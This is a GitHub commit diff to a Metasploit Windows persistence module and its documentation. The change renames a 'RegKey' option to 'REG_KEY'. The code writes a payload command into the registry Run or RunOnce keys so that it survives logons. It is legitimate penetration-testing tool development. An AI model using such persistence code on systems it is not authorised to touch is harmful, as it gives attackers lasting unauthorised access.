Skip to content

Commit 0f26c93

Browse files
committed
registry persistence peer review
1 parent 2575a9a commit 0f26c93

File tree

2 files changed

+10
-10
lines changed

2 files changed

+10
-10
lines changed

documentation/modules/exploit/windows/persistence/registry.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ The name to use for the `Run` key. Default: random
3636

3737
Amount of time to sleep (in seconds) before executing payload. Default: 0
3838

39-
### RegKey
39+
### REG_KEY
4040

4141
Registry Key To Install To. Options are `Run` and `RunOnce`. Defaults to `Run`
4242

modules/exploits/windows/persistence/registry.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ def initialize(info = {})
6262
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
6363
OptInt.new('SLEEP_TIME',
6464
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
65-
OptEnum.new('RegKey', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
65+
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
6666
])
6767
end
6868

@@ -106,15 +106,15 @@ def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
106106
return new_key
107107
end
108108

109-
def runkey
110-
datastore['RegKey']
109+
def regkey
110+
datastore['REG_KEY']
111111
end
112112

113113
def install_cmd(cmd, cmd_reg, root_path)
114-
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{runkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
114+
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
115115
fail_with(Failure::Unknown, 'Could not install run key')
116116
end
117-
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{runkey}\\#{cmd_reg}")
117+
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
118118
end
119119

120120
def get_root_path
@@ -128,7 +128,7 @@ def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
128128
if new_key
129129
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
130130
end
131-
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{runkey}' -v '#{cmd_reg}'\n"
131+
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
132132
end
133133

134134
def check
@@ -140,10 +140,10 @@ def check
140140
root_path = get_root_path
141141
rand = Rex::Text.rand_text_alphanumeric(15)
142142

143-
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{runkey}\\#{rand}")
144-
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{runkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
143+
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
144+
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
145145

146-
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{runkey}\\#{rand}")
146+
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
147147

148148
Msf::Exploit::CheckCode::Vulnerable('Registry writable')
149149
end

0 commit comments

Comments
 (0)